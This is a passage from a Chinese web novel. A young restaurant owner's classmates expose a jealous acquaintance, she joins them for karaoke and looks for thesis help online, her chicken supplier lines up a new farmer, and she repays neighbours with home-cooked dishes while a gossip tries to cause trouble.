“我也是，”高新言收回目光，声音温润，浅开了个玩笑，“要是我创业那两年里，有这么好吃的一家店，谈合作的过程肯定顺畅不少。” “班长你创业啦？！” “嗯。” “那，公司安稳了？”刘文语焉不详，不知在思索什么，“现在环境不好，应该不太稳吧？” 高新言盯着她，一改往日谦虚：“挺稳的，最近找上门的合作商多了不少，开的价一个比一个高。” 刘文装作不在意地拿起水杯喝了口茶。 “好好好，一个学霸，一个班长，都创业了，前途大好，作为你们的同班同学，我感觉到倍有面！” 此刻，他们举着酒杯高喊“苟富贵勿相忘”。 多年未见，他们仿佛又回到毕业那天晚上。 高谈阔论，谈天说地。 期间，有人突然想起刘文说的那句味道不怎么样，疑惑发问：“刘文，这就是你说的味道不怎么样？” 刘文：“……可能是个人口味的问题吧。” 王豪磊觉得古怪，他这个坚定的原汁原味鸡主义者都动摇了，什么口味能差那么多。 孙晓燕也觉得奇怪：“可是你刚刚明明吃——” 了很多。 她话没说完，就被刘文的声音打断了，她正跟旁边队伍里的一个人打招呼：“嗨，柳芳书，这么巧你也来这吃饭啊？” 柳芳书循声一看：“是挺巧的，不过你不是嫌这里的饭菜又贵又不好吃么？我还以为你不会来了呢，怎么，你的朋友们绑你来的？” 高新言余光注意着笑意僵住的刘文，不留情面：“是刘文推荐我们来的。” 哦—— 柳芳书留下个意味深长的眼神就跟着队伍前进了。 与此同时，余杰他们几人陷入沉默，神情微妙。 如果刘文真觉得又贵又不好吃，那为什么还要推荐来这儿吃？想不通的是，她自己也在这次聚会中，没人会将同样的雷踩两遍吧？ 这个显然不合逻辑。 那就只剩一个假设了：她撒谎了。 可为什么要撒谎？既然觉得好吃，不能直说吗？而且推荐饭店的时候也没说人家饭店的味道如何，反而说人家门庭冷清。 哪有这样推荐的。 除了嫉妒、想叫他们去看别人笑话外，余杰一行人想不出别的理由。 反正出了这一个小插曲后，不管是高中同学那边还是柳芳书那边，刘文都没脸面对了。 刘文脸色血色全无，完全待不下去，找了个借口就起身离开。 那几道熟悉的声音在她起身后响起—— “看不出来啊，没想到她竟然是这种人，又蠢又坏的，无语死了。” “还好她自觉走了，不然再跟她坐一桌，刚吃的东西我都得吐出来。” “我说她吃饭时怎么一言不发的，原来是看我们夸学霸心里不舒坦呢。” “唉何必呢，早早认清自己和他人的差别——哎班长？你干嘛去？！她这种人你不用管她……” 高新言快步上前拦住刘文。 刘文此刻只觉得无地自容，冷冷撇过头：“有事？” 高新言脸色也冷淡，是待人接物从未有过的疏离。 他音色隐含怒气，唇边勾起嘲讽的弧度：“贬低比你优秀的人，并不能使你自己变得更优秀，好自为之。对了——” “别再让我看见你在群里内涵她。” “你还不配。” 第33章 第33章 高新言回到店里。 “班长，你跟刘文说什么了？”余杰好奇：“她竟然退出同学群了。” 高新言挑眉，这个举动在意料之外也在情理之中。 不过也不关他事吧。 “没说什么，她应该是觉得自己丢不起这个人，所以自觉退了。” 孙晓燕表情一言难尽：“别等会儿被其他同学误以为我们欺负她吧？跟我们出来一趟就把群退了。” 蔡雨正盯着群，忽然拍了拍孙晓燕的肩膀：“带预言家，群里果然有人问了。” 受不了被曲解一点，余杰直接在群里长篇阔论解释了一通。 其他同学都纷纷吃起瓜来，发表的言论从一开始的震惊、意外、逐渐演变成嫌弃、恶寒。 庄凝冬刚从后厨忙完出来，高新言看见后朝她招手，让她过来坐坐。 热情难却，庄凝冬落了座。 猜到庄凝冬一定还没空看手机，余杰把刘文的事给她说了一遍，让她平时注意着点这个人。 察觉到他们没恶意，庄凝冬便跟他们聊了几句。 店里人少了，奶奶也到客厅活动来了。 一桌子年轻人都是自家孙女的同学，奶奶也乐呵地跟他们打招呼。 在看到高新言的脸时，奶奶只觉得很熟悉，她想了好一会儿，才想起来：“同学，你以前是不是经常来我们家买早餐啊？” 其他人惊讶：学霸家以前是卖早餐的？为什么班长会知道？还常来光顾？ 余杰就这么问出来了：“班长，你是怎么知道……” 王豪磊打断他：“你傻逼啊，都班长了，经常收集个人信息什么的看多了就记住了吧。” 高新言没承认也没否认，礼貌朝奶奶笑笑：“没想到您对我还有印象。” “长得白白净净一帅小伙，高高瘦瘦又有礼貌，当然记得啦。”奶奶问：“好久没见咯，是不在溪城住了？” 高新言嗯了声：“高考完之后，我跟家里人搬到了兴南市。” 几年前高新言上高中的时候，经常来庄凝冬家买早餐，他记得那时候还是庄凝冬的爷爷在做包子。 如今不见人影，高新言没多想，随口问了句：“爷爷身体还好吗？” 问题一出，奶奶和庄凝冬的神色都淡了下来。 庄凝冬：“爷爷前段时间刚去世。” 周围人连呼吸都不敢用力。 高新言更是错愕地朝庄凝冬看去：“对不起，我不是故意……” “没关系，你也不知情。” 奶奶：“人各有命，我跟凝冬也都看开了，过好当下才是最重要的。” 这个话题太沉重，就此揭过。 奶奶问他们日后准备做什么工作，一个个端坐着回答，以前上课都没那么认真。 听见高新言说自己出来创业后，奶奶眼里溢满了赞许之色，老人家虽然不懂专业的东西，但也知道辛苦，便就着这方面的内容跟他唠。 过了一会儿，后面余杰看了眼时间：“时间不早了，奶奶我们得走了，提前订好房准备下半场去唱歌呢，再晚点的话商家就把房给别人了。” 五一节假日，娱乐场所多人，K房紧缺。 奶奶点点头：“那你们去吧，玩得开心啊。” 跟以往一样，哪怕次次都被推脱，高新言也还是看向庄凝冬，问了句：“一起来玩吧凝冬。” 庄凝冬愣了愣：“啊？” 唱歌？她不会啊。 而且，她还有论文没学习啊。 但这一点又不能跟他们坦白…… 余杰：“对啊学霸，一起来呗，你以前就没怎么参加我们的课后活动，现在是越来越难聚了，机会难得啊。” 孙晓燕：“其实我们都挺想你来的……” 蔡雨猛点头。 连奶奶也加入了劝说中：“囡囡你就去吧，我看你这段时间整天工作都没放松过，还叫我注意身体呢，你自己何尝不是。” 话说到了这份上，庄凝冬也不好推脱了。 “好吧，不过我得跟奶奶先吃完饭再过去。” 刚刚她一忙完就过来坐下了，都没来得及吃饭。 高新言想了想，对余杰他们说：“你们先过去吧，我晚点再跟凝冬一起。” 庄凝冬看向他。 高新言笑着晃了晃手机：“突然有工作要处理，不介意吧？” “噢，不介意，那你随便找张干净的桌子坐下等吧。” 庄凝冬吃完饭后，季初曼还没走，收拾卫生的活刚好交给她。 进入五月，天气不冷不热，夜晚和微风都是温柔的。 高新言和庄凝冬打车去目的地。 他上前一步打开车门，让庄凝冬先进去。 “感觉你变化挺大的。”高新言说。 庄凝冬不着痕迹道：“是吗？” 高中毕业后，他们俩就很少联系了，虽然本来联系也不多。 他们不在一个城市上大学，大一开学的时候高新言还会找庄凝冬聊天，问她大学生活怎么样习不习惯之类的话，庄凝冬就规矩地回答着，他问一句她回答一下。 到后面学业逐渐繁忙，高新言偶尔发她的消息她常常第二天才回有时候甚至是忘了回，后面他就不怎么跟庄凝冬联系了。 倒不是觉得被冷落了不舒服，而是怕打扰到她。 再加上高新言那时候也开始忙起来了，两人就这样渐渐彻底断了联系。 高新言：“嗯，似乎开朗很多，也爱笑了。” 两人有一搭没一搭地聊着，庄凝冬心里想着事，忽然问他：“你大学是什么专业来着？” “金融，怎么了？” 庄凝冬眼睛一亮，张了张嘴，那句“那你能帮我看看论文吗”都到嘴边了，又被她咽了回去。 本人写的论文本人怎么可能不懂？如果自己写的论文还需要别人来解答疑惑的话，是不是会被怀疑找代写了？ 毕业论文找代写可是学术造假！ 很严重的！ 到时候可真的跳进黄河都洗不清了。 “……没事了。”庄凝冬靠了回去，还是另外想办法吧。 高新言觉得奇奇怪怪的：“真没事？” “嗯。” 他便不再多问。 到了目的地，一路过来，身处光怪陆离的五彩霓虹，庄凝冬充满了新奇感。 这样的氛围，在手机屏幕里看跟身临其境感受是不一样的。 这个时代的人，可真会玩，庄凝冬心想。 包厢里，余杰和王豪磊正在鬼哭狼嚎，另两个女生窝在沙发里表情嫌弃，一见庄凝冬进门，就又换上另一幅面孔热情招待：“学霸来这儿！” 庄凝冬有点难为情：“不要叫我学霸了，叫我凝冬就好。” “看看要点什么？”孙晓燕递过一张菜单，有点小心翼翼地说道：“其实我们以前就挺想跟你做朋友的，不过你太高冷了，像那种很容易犯厌蠢症的人，感觉跟你相处压力会很大，所以才……不过现在看来，平易近人了一点。” 原主的事庄凝冬不好评价，只能干笑：“……是吗？” 高新言已经决定好点什么了，他看向庄凝冬：“凝冬你要什么？我顺便帮你点了。酒就别喝了，不然不好跟你奶奶交代。” 高新言翻了翻菜单，发现有气泡水：“要不要喝气泡水？” 庄凝冬想了想：“也行。” “还是水蜜桃味？” 庄凝冬不假思索：“荔枝吧。” 高新言顿了下：“好。” 整晚，两个女生发现庄凝冬也并非想象中那么难接近后，就一直拉着她说这个说那个，一下子拉近了几年的距离。 甚至，她们直至今晚才加上微信。 分别时，她们都有点不舍，嘴里说着等下次有机会再去庄凝冬店里吃饭。 高新言送庄凝冬回家，道别时，高新言欲言又止了一会儿，最终也只是道：“如果以后有什么需要我帮忙的话，尽管开口。” * 上了楼，庄凝冬没忘跟奶奶报平安。 她洗漱完，刚打开电脑，手机就收到几条消息，是孙晓燕和蔡雨发来的。 她们报自己平安的同时，也在关心她有没有到家。 庄凝冬没有兄弟姐妹，在大燕朝时，不管是跟奶奶一起生活，还是跟着师父学艺，身边也没有同龄朋友。 后面进了宫，倒是遇到不少同龄的，可也有了身份尊卑。 总是难交心。 所以，这就是有朋友的感觉么？ 庄凝冬回复她们之后打开了电脑。 对着原主论文的知识点一个个搜，然后在某个评论下发现了网友分享的好东西—— 一个专门讨论学习金融知识的学术网站。 庄凝冬点了进去。 里面关于金融知识的板块分得很细，大部分问题都能在里面找到答案，不过有些还是解决不了。 庄凝冬便发表了一条动态。 不得不说，这个网站的人流量还挺大，问题才刚发出，就有人评论了： 八方来财：[朋友你这个问题有点深奥啊，我是回答不了，但是我知道有个人可以回答。] 庄凝冬：[谁？] 八方来财：[不过他也好久没出现了，也不知道他还记不记得这个网站。 他是这个网站公认的NO.1，自这个网站建立以来，就没有他回答不了的问题，不过他也不是什么问题都回答的，而且人有点emmm……不知作何评价，总之，一切随缘看他心情，这你还要加么？] 好久没出现，不一定会回答问题。 这两个条件叠在一起，希望都不能用渺茫来形容了。 不过，还是加一下吧，万一呢？ 庄凝冬：[要的。] 对方发来一张名片，庄凝冬点了添加：[谢谢。] 八方来财：[不用。] 庄凝冬以为对话到这里就结束了，没想到对方还在说： [不行，说起他我就忍不住想吐槽他的一些事迹，好几年前吧，那时候他刚到这个网站来，跟孔雀开屏一样处处留评，本来以为是新来的死装哥，没想到确实是有两下子，有人就很崇拜他问他怎么学的为什么很多高深的问题都能回答得天衣无缝，你猜他怎么回答来着？] 庄凝冬：[怎么答？] 八方来财：[他的原话：高深？这跟小孩子过家家有区别么？] 八方来财：[然后其他人试图自损一千也要伤敌八百，回复他说：既然觉得幼稚，那你还条条回复，不是更幼稚？] 八方来财：[之后那个人就说：你们回想一下自己小时候，爸爸是不是都会陪你们玩幼稚的游戏玩具。] 八方来财：[其他人反应过来被他占便宜后对他是又爱又恨，爱他渊博的学识又恨他那张破嘴。] 庄凝冬：[……] 确实有点，嗯……难以评价。 那头八方来财话匣子打开，说个不停，庄凝冬念在对方也帮了自己一个小忙的份上，便没打断，礼貌又不是敷衍地回应着，直至深夜。 第二天清晨，庄凝冬早早起来洗漱完，下楼拿着一把小刀去了后院。 清早露水雾气都重，韭菜长得高且翠绿，庄凝冬割了一把下来，拿回去洗干净切碎，准备做个韭菜鸡蛋饼。 面糊和着明黄蛋液、青翠韭菜碎，拌成了稍微粘稠的流体状，黄绿搭配，色彩非常分明。 舀上一勺至锅中，面糊遇热油定型，滋啦滋啦地外溢着香气。 做韭菜鸡蛋饼费不了多少时间。 很快，碟子上就盛满了各个大小一致的鸡蛋饼，表面金黄焦香，庄凝冬夹起一个咬了口。 酥脆松软，满满的韭菜香和浓郁鸡蛋香在舌尖上绽放，好吃！ 庄凝冬自己吃完，又给奶奶盛了碗粥才把鸡蛋饼拿出去给她吃。 钟盼就在这个时候来到后院。 庄凝冬出去给她开门。 “吃过早餐了吗？今天做了鸡蛋饼，要不要尝一个？” 钟盼利索地把处理好的鸡拎进后厨。 其实之前她送货来时也经常碰见庄凝冬在吃早饭，庄凝冬也没少邀请她，她以往都是拒绝的，不过今天…… “可以吗？” “可以啊，还有粥，你要不要？” “来一碗吧，谢谢。” 在前方客厅坐下，钟盼嚼了口喷香的鸡蛋饼，又喝了口绵滑的粥才说起了正事。 这些天，庄凝冬订购鸡的数量比平时多了不少，钟盼那儿已经渐渐满足不了那么大的需求了。 她给庄凝冬提了个预警：“你可能要去找别的供应商。” 意识到自己的话里有异意，她忙纠正：“不是让你取消跟我合作的意思，就是，你还是跟我合作，不足的部分再找别人补上……” 钟盼说着说着，声音越来越没底。 她还是很想跟庄凝冬合作的，但是鸡的生长周期实在跟不上庄凝冬需求上涨的速度，所以她满足不了庄凝冬的需求。 可又怕对方找到了更大的供应商，为省去麻烦，从而跟她断合作。 庄凝冬失笑。 她知道钟盼家里的情况，自古以来，华国就有乐善好施之德，既然自己能顺手尽微薄之力，何乐而不为呢？ “放心吧，你提供的食材品质都很不错，如果不是质量出问题，我不会取消跟你合作的。”庄凝冬给了她一颗定心丸。 钟盼放下心来。 庄凝冬又问：“那你认识有什么比较放心的供应商么？” “这个……还真没有。” 要是钟盼认识的话，她当初早就把自己的货卖给靠谱的供应商了，也不至于整天为生意忧心忡忡。 “那，可以帮忙留意一下吗？不一定是要供应商，像市场里的散户也可以，只要质量过关。” 庄凝冬此刻也想到，店里正在卖的荷香鸡和椒麻鸡。 两者都以鸡为原材料，再加上要吊的一些高汤，需求难免大了点。 是她疏忽了。 看来日后的食材得拓宽些才行。 钟盼爽快应下：“没问题！” 自从庄凝冬的需求变大后，钟盼的工作就是处理好鸡再给庄凝冬送过去。 都不用去市场摆摊了。 以往她都是直接回家的，不过今天……答应了帮忙，钟盼准备去市场看看。 反正开着三轮车，也不费什么劲，钟盼便去了较远点的市场看看。 不出所料，市面大部分都是饲料鸡。 不过钟盼还是在路边找到了一两家散户，像这种没有固定摊位，拿笼子装了几只就拿出来卖的，家养的规模都不太大，撑不了长时间的稳定供应。 钟盼打算到时候再去远一点的市场看看。 回了家，钟母已经把菜择好。 中午就简单吃个蒸排骨和炒青菜。 青菜嫩绿，油津津的，排骨蒸出来的虽然有点柴，但好歹味道足，是家常的味道。 钟盼把今早的事跟钟母说了一遍，在烦恼怎么那么难。 其实庄凝冬只是让她帮忙留意一下，并没有让她一定要找到，即使没找到，钟盼也没必要太苦恼。 但钟盼心里一直记着庄凝冬先前的雪中送炭，便总想多为她做点什么报答她。 钟母安抚她：“就像你之前一样，他们也只是为了生活而已，人总得先活着。” 她们之间母女关系改善后，钟盼偶尔也会说点好听的话哄钟母高兴，比如现在：“要是他们跟妈妈你一样坚持就好了。” 钟母无声笑。 钟盼脑袋放空了一会儿，脑中忽然闪过一个人—— 陈姨。 她记得陈姨一开始也不是养饲料鸡的，如果可以的话，她是不是可以找陈姨一起合作？ 虽然现在开始养也没法解决当下问题，但可以为未来作打算，不然一直收散户也不是办法。 即想即做。 当天晚上，在陈姨收摊回来后，钟盼带上下午从庄凝冬那买的绿豆糕去了趟陈姨家。 面对来客，陈姨有点惊喜。 自从钟盼不用再去市场后，她们也有段时间没见了。 “陈姨，这是我在凝冬姐那买的绿豆糕，送给您尝尝，”钟盼开门见山道，“有件事想找你商量商量。” 陈玉珍当然知道钟盼口中的凝冬姐就是那个帮了钟盼一家的小姑娘。 之前她还去了那店里吃过饭，那厨艺真的好，做出来的东西比她几十年来吃过的所有东西都要好吃，哪怕再日常的食材，在她手里都能发挥出百分之两百的香味。 后面再去，店里已经要排队了。 生意一片红火。 陈玉珍听钟盼说完，内心蠢蠢欲动，但她还是给了个保守点的回复：“我先考虑一下。” 钟盼应了声好就走了。 再晚些，陈玉珍老公王德从厂里回来。 陈玉珍便跟他讲了这件事。 王德听完后皱眉：“之前不就是因为成本太高才换饲料鸡的么？现在要养回走地鸡就算了，还要扩大规模？不了吧，太冒险了。” 王德性格比较求稳，不太敢铤而走险，但陈玉珍想法和他不一样：“之前是因为没有客人要，现在不一样了，有了稳定客源，而且那家店生意很好的，我倒是觉得可以合作。” “走地鸡的生长周期长，就算现在生意好，可你敢保证到那时候这家店的生意还跟现在一样好吗？现在环境可不好，要万一——” 王德没说完，但陈玉珍能听懂他的意思，他就是怕到头来不仅竹篮打水一场空，更怕亏损一大笔。 不过，陈玉珍认为，那都是因为他还没吃过庄记的东西，要是吃过他肯定就不这么想了。 王德一直都是在厂里食堂吃的，图便宜也图方便，所以陈玉珍之前去庄记的时候也没给他打包。 情急之下，陈玉珍拿过刚刚钟盼送的绿豆糕：“这个绿豆糕就是庄记做的，你吃吃看，吃过你就知道了。” 说完，陈玉珍才想起来这绿豆糕自己还没吃过，要是不好吃的话，那王德对庄记的印象岂不是就变差了？ 特别是庄记是家饭馆，饭馆能做好点心吗？ 可话已经说出了口，王德也已经拿起了绿豆糕盒子，再阻止也来不及了。 却见王德目露惊艳之色：“这盒子，高端哇。” 说着，他已经拆开了一只精美的绿豆糕。 陈玉珍在一边忐忑：“庄记的绿豆糕我也没吃过，不晓得味道咋样，不过我之前吃过庄记的饭菜，那味道叫一个绝，你如果不信……” “信！我信！”王德吃了一口绿豆糕后神色都变得惊喜起来，之后的咀嚼都变得狼吞虎咽：“连点心都做得这么好吃，我相信主菜一定做得更好。” 态度忽然发生一百八十度转变，陈玉珍意识到什么，也连忙抢过一个绿豆糕吃起来。 绿豆糕饱含绿豆清香，口感细腻绵软，味道香甜却不黏腻，好吃极了。 绿豆糕比较常见，他们自己平时也会买一点吃，不过很少买，因为吃过一次觉得比较腻之后就不怎么买了。 卖家们水平参差不齐，不好吃的点千奇百怪，要么太干巴要么太潮湿，黏糊糊的，唯一相同的是那股甜到齁的腻。 现在有了对比，他们才知道原来绿豆糕还能好吃到这个地步！ “合作！马上合作！” 陈玉珍：“……你刚不是还担心？” “是我有眼不识泰山了，对了老婆，你什么时候再去庄记？帮我打包一份饭菜呗。” …… 日落西山，卖完一天的食材后，又迎来了打烊时间。 庄凝冬把特意留出来的椒麻鸡和其他菜分别装盒打包好，打算去给邻里街坊还钱的时候顺便送给他们尝尝。 第34章 第34章 庄凝冬早早列好了还钱名单，每个人该先还多少都清清楚楚写着。 她敲了几家门后，下一趟是到任叔任婶一家。 他们在一楼开了个水果店，往上几层则用来出租。 庄凝冬来到的时候他们正在收银台那里吃饭，简简单单一碟肥猪肉和青菜，中央架着一块平板。 任叔和任婶似乎在为看什么剧而争吵着—— 任叔：“看回上次那个抗日剧，昨天都说好了的。” 任婶：“昨天什么时候说了？我怎么没印象？” “你，你不讲理！你耍赖！” “也好过你自私！白天你自个看那么久，现在让我看看怎么了？就要看宫斗剧！我还不知道丽嫔是被谁害的呢！” “谁让你白天不在这看店……” 庄凝冬敲了敲门：“任叔任婶。” 任叔任婶说话声戛然而止，任婶朝任叔怨了句“都怪你，叫小辈看笑话了”随后就笑盈盈地看向庄凝冬：“哎凝冬丫头，有什么事吗？” 庄凝冬把袋子放到收银台上，说明来意：“我是来还钱的，这盒椒麻鸡算是谢礼，谢谢你们解囊相助。” 与此同时，任婶手机收到一条入账信息，她看了眼金额。 这笔钱不算多，有或没有都改变不了他们目前的生活，但对正在开店方方面面都急需用钱的庄凝冬来说，这笔钱的作用就大了，总比放在他们这里吃灰要好。 故而，任婶劝道：“还钱的事不着急的，你现在事业正处于上升期，先稳定下来再说。” 任叔也说：“是啊，我和你任婶既有水果店的收入，又有租金收，根本不缺钱，你先拿着自己花吧。” “放心吧任叔任婶，我现在店里生意起来了，每天都有稳定收入呢，足够解决我跟奶奶的温饱，你们不用担心，只是一下子还没能一次性还清而已。” 任叔任婶想了想这段时间庄记的生意，知道她没有撒谎，这才不再坚持，不过话题也从还钱跳到了让她注意身体上。 聊了几句，见庄凝冬提着袋子，知道她还要去别处，任叔任婶便没留她，只是在她走前给她塞了几个水果。 庄凝冬走后，任叔任婶才打开那椒麻鸡。 一股麻麻辣辣的香味瞬间弥漫开来。 灯光下，裹满椒麻汁的鸡肉表面光泽感明显，衬得旁边那两道菜愈发索然无味。 他们就住附近，平时不忙的时候都会去庄记帮衬，自然知道庄凝冬手艺好，不过这两天店里在忙，有时候忙完出门遥遥一看，嚯，庄记的队伍都排到门外了，他们自知去也是白去，所以他们都还没尝过。 因而此刻，任叔和任婶都对着椒麻鸡虎视眈眈。 两人静默三秒，同时伸手分别捏住盒子的一端。 “老婆，你就让我多吃点儿吧，这样，我不看抗日剧了，给你看，你多分我点椒麻鸡行不行？” “不行，这剧本来就该轮到我看了，你说的是什么破条件？”任婶不让步。 僵持间，楼上有租客下来。 楼梯间连着前方大堂，租客原本只想跟他们简单打声招呼，结果呼吸间，闻到一股特别香的味道，不禁多问了句：“吃什么这么香？” 任婶刚要回答，任叔就说：“噢，这啊，这是椒麻鸡，附近的凝冬丫头……你应该不认识，就是庄记老板娘，是她送来给我们的。” 凝冬？有点熟悉，好像在哪听过。 认真回想了下。 租客想起来了，前几天有两个小孩好像谈论过，在那偷偷摸摸又大声地交流着秘密。 还真以为只有他们两个，别人都听不见呢。 租客无声失笑。 而任婶趁任叔不注意，一下子把椒麻鸡拖到自己身边。 任叔…… “你要来尝一尝吗？”任婶招呼道，又笑着补充：“不过不能多吃啊。” 原本租客是不习惯跟别人无端受人好意的，但今天不知怎么的，可能是被那股香味刺激，又想到那是被小孩子喜欢，再加上连任婶都不太舍得，他突然就想吃吃看到底是什么样的美味。 他几步上前：“那我就不客气了啊。” 牙签戳起一块嫩肉，黏连着一片淡黄的薄薄的鸡皮，蘸了蘸聚在盒子底的椒麻汁。 入口是浓郁的麻辣味，汁水迸溅，麻辣爽口，麻的味道要比辣重，吃起来嘴里麻麻的。 连鸡皮都是脆的，还不油腻，鸡肉也特入味，被这个椒麻汁一拌，好吃让人恨不得连舌头都吞下去！ 租客整个人都呆滞住了，待口腔里的麻辣味减轻些，他才回过神来：“这份椒麻鸡……” 任叔和任婶两人也早已大吃大喝起来，低头沉浸美食间还抽空含糊不清地回问他一句：“怎么样？是不是特好吃？！” 算很友好了。 “！超级好吃！！”租客说：“它这股麻太正了，估计是用了青麻椒。” 这还真被租客猜对了。 庄凝冬在制作过程中，用了青和红两种麻椒，青麻椒比红花椒的麻味更重，更持久，而红花椒的干香味比青麻椒的更浓郁，两相结合，能发挥出更大的作用，使得风味更上一层楼。 “那可不，最近庄记店里都排长队了呢，唉，现在我们想吃都没时间去排队买了，所以你也别怪我们小气竟然才分你一点。”任婶说。 租客：“不会不会。” 租客心想着，果然，跟着小孩哥吃是不会出错的，等下次他也要去买！ 小小的一块连过嘴瘾都不够呜呜呜！ 庄凝冬从任叔任婶家出来，又到了街口赵爷爷家里。 赵爷爷以前跟庄凝冬家一样，都是卖早餐的，不过他儿女双全，平日里有儿女养着，也不怎么缺钱，所以他以前总会比庄家晚一点营业，就是为了多让些客源。 其实赵爷爷也还在开店来着，不过前段时间他操劳过度，晕过去了，为方便照顾，他的儿女便把他接去了外地。 如今修养好身体，又恰逢儿女假期不用上班，这才坚持要让他们送自己回来。 得知他们回来的第一消息，庄凝冬便带上多东西来拜访。 有段时间没见，赵家人这才知道庄凝冬开了饭馆，不出意外，他们都觉得很震惊。 担忧的话还没来得及说出口，就又听庄凝冬说生意已经起来了，并且也有能力偿还债务，赵家人看着转来的一笔账，确认她没撒谎，这才放下心来。 不仅如此，庄凝冬还给他们带来了自己亲手做的饭菜。 思及到赵爷爷的身体，庄凝冬这次给他们带来的是荷香鸡，口味清淡，营养价值高，对身体又补。 美味入口，赵家人都惊得不行，拉着庄凝冬就是一顿夸。 他们一家子对庄家都很不错，庄凝冬便留下来跟他们多聊了两句，期间聊到赵爷爷的身子。 “凝冬，你来评评理，就我爸这副身子，前段时间累晕过去就算了，现在才好了一点就又要回这里开店，又不缺他赚的那点钱，你说是不是闲的？”赵爷爷的儿子赵民说。 “就是，而且住在这里又没人照看，你说一个不小心又晕倒了可怎么办，上次是许叔刚好来找他才及时发现的，又不会次次这么凑巧。”赵雨燕也很忧愁。 赵爷爷的老伴很早就走了，平时儿女又在外地上班，确实只有他一个人住老家。 不过赵爷爷也有他的道理：“跟你们去外地住真的浑身不自在，出个门又不能走远，稍微去个远一点的地方要坐那劳什子地铁，带了卡就算了，要是没带卡或者中途丢了卡……接着来的就又是一堆破事了，烦得很。” “而且也太无聊了，你们白天上班，房子空荡荡的就我一个孤家老人都要无聊死了，你们又不结婚生个孙子让我消遣。” 没想到这都能扯到催婚上。 赵民和赵雨燕相顾无言。 这种家事庄凝冬还真不好说些什么，只能两头都说好话，先对赵爷爷说：“哎呀赵爷爷您就别烦了，赵姐和赵哥也都是怕您出事嘛，您可是他们的爸爸呀。” 又接着对赵家兄妹说：“赵姐赵哥，赵爷爷他也是想在有限的生命多造福朝丰街的人嘛，你们想想，他以前是不是帮过不少人？” 这个确实。 赵民和赵雨燕陷入沉默，他们也收到过那些人的回报。 庄凝冬笑了笑：“我看你们不如都各退一步。” 不过这句话在赵爷爷听来—— “你也觉得他们要退一步是吧？”赵爷爷不讲理：“你们看，连凝冬丫头都同意我回来继续卖包子了。” “……” 家事不好掺和，庄凝冬礼貌说了几句后就走了。 出门后，仍然能听到他们在为这件事谈论。 那头，黄秀莲从外面回来，还没走到家，远远地就看见庄凝冬从任家出来，转头又去了赵家。 她观摩了一会儿，八卦之心上来，准备去任家探探风声。 人才走到任家门口，还没进去呢，黄秀莲就听到任家夫妇在谈论什么钱、庄家、还有具体的数字金额。 才片刻，黄秀莲就知道了。 原来是庄凝冬给他们还钱来了。 金额还不小。 庄家不是才开的那小破店吗？也没过多久，竟然有钱还了？ 黄秀莲心里很不舒畅，她想了想，又去了赵家。 恰逢赵家儿女都在，黄秀莲干巴打着招呼：“都在呢。” 正在争论家事，突然来了个人，一看，这个不速之客还是他们不怎么喜欢的，一下子，赵爷爷一家都停止了“内斗”，一致对外警惕起来。 他们还没问黄秀莲来干什么，只见她进门先嗅了嗅，然后又道：“哟，吃什么呢？这么香。” 盒子碟子里都空空如也，他们显然已经吃完了，也不知道是什么菜，留下的余香竟然也如此悠长，经久不散。 说起这个，赵雨燕来了劲，说：“庄家小妹自己做的饭菜，放店里都得卖好几十呢，就这么给我们送来了。” 早些年的时候，黄秀莲那一家子也是卖早餐的，不过他们并不是一开始就做这行的，他们也是看庄家早餐店生意才中途加入想要分一杯羹。 不过他们抠得很，卖的肉包子，掌心那么大内里却只有指甲盖那么点儿的肉馅，还比别人的要贵五毛钱。 有人买了一次之后发现吃大亏就默默去了别家，也有人直接到黄秀莲门前控诉，说她家的肉包子里面根本没肉大喊让他们还钱。 钱好不容易进了口袋黄秀莲他们怎么可能随意吐出来，但瞅着周围人越来越多他们顶不下去了才还了钱，后面还找补说自己那肉馅都是用的上好五花肉，只能卖贵点。 有人不服，伸手一指就说：“你这是上好五花肉？我呸，怎么比人家的难吃那么多？而且卖得比人家贵，肉还没人家给得多，鬼才要再来你们这儿买呢。” 黄秀莲一看，发现那人指着的正是庄家，一下子也恼了，开始赶客：“去去去，不买就拉倒，谁知道他那肉里放了什么东西呢。” 自己做生意不讲诚信，黄秀莲他们那早餐铺子愈发少人。 所以当初赵爷爷才不怕让出的客源会跑黄秀莲那去。 再后来他们很快就做不下去了，只得早早关门。 明明当时赵家也是同行之一，至于黄秀莲为什么更看不顺庄家，就得从庄家出了一个学习成绩次次名列前茅的庄凝冬开始说起了。 就是现在，人们也不可避免崇拜成绩好的人，更别说那个时候，出了这么聪明的一小娃娃，旁人更是喜欢得不得了。 瞅着邻里街坊都艳羡簇拥着庄家，黄秀莲是酸得不行，于是，她便嘴硬道：“这有什么的？我以后的孙子肯定也是拿第一的。” 她那个时候没孙子，怎么吹都行。 直到现在，孙子有是有了，第一也确实拿了第一，不过是倒数。 当年看不惯她信口开河的人可算爽了，找着机会就阴阳一通，黄秀莲这才收敛点。 庄家的那点梁子就这么结下了。 其实是她单方面结，庄家都没把她当回事…… 听见是庄凝冬送来的饭菜，黄秀莲忽然间也不觉得香了。 反正她来这趟又不是为了夸饭菜来的，便换了话题：“我可听任家夫妇说，庄凝冬给他们还钱了，怎么样，她有给你们还不？” “庄家丫头知恩图报，谁当初借钱给他们，人家都记得清清楚楚的，现在赚了钱，自然有还。”赵爷爷说。 “那她给你们还了多少？” 不晓得黄秀莲想干嘛，赵家三人交换了下眼神，赵良随口编了个数，报大了点。 黄秀莲一听，来了兴致，似乎正中她下怀。 她人靠近，声音压低了些，神神秘秘地说：“你知道庄凝冬给任家是多少吗？” 黄秀莲说了个数，比赵良刚刚报的数字要大。 “我看你们在庄凝冬心里也不是那么重要，不然能区别对待？要我说啊，庄凝冬也是心机得很，表面上是都还了人情，结果背地里……啧啧啧。” 原来黄秀莲的目的在这儿。 赵雨燕听得烦了，直说：“你数学不好吧？” 黄秀莲懵了：“什么？” “人家按百分比还的，当初任家借给她的钱比我们多，现在多拿点不是应该的？”赵雨燕只觉得无语。 黄秀莲一听，哑然。 怎么会这样？ 于是，心里更不爽了。 赵爷爷也开始赶人：“你们刚不是还说要陪我出去走走？赶紧起身吧，我坐都坐累了。” 黄秀莲吃了瘪，讪讪的，也不想再待下去了。 黄秀莲前脚刚走，赵雨燕后脚就吐槽起她来：“都不知道她想干嘛，难道挑拨我们跟庄家的关系，我们就会跟她走得近了吗？” 赵爷爷略微思索：“我觉得我更应该留在这里了。” “爸！” “这回是有正当理由了，黄秀莲这人怂了点，做是不会做出什么事，就是难免会在背后嚼舌根子，我可见不得她处处诋毁庄家，到时候她说一句不好，我就说回去。” 赵良、赵雨燕：“……” 没想到这都能让他绕回来。 赵良和赵雨燕头疼地相视一眼。 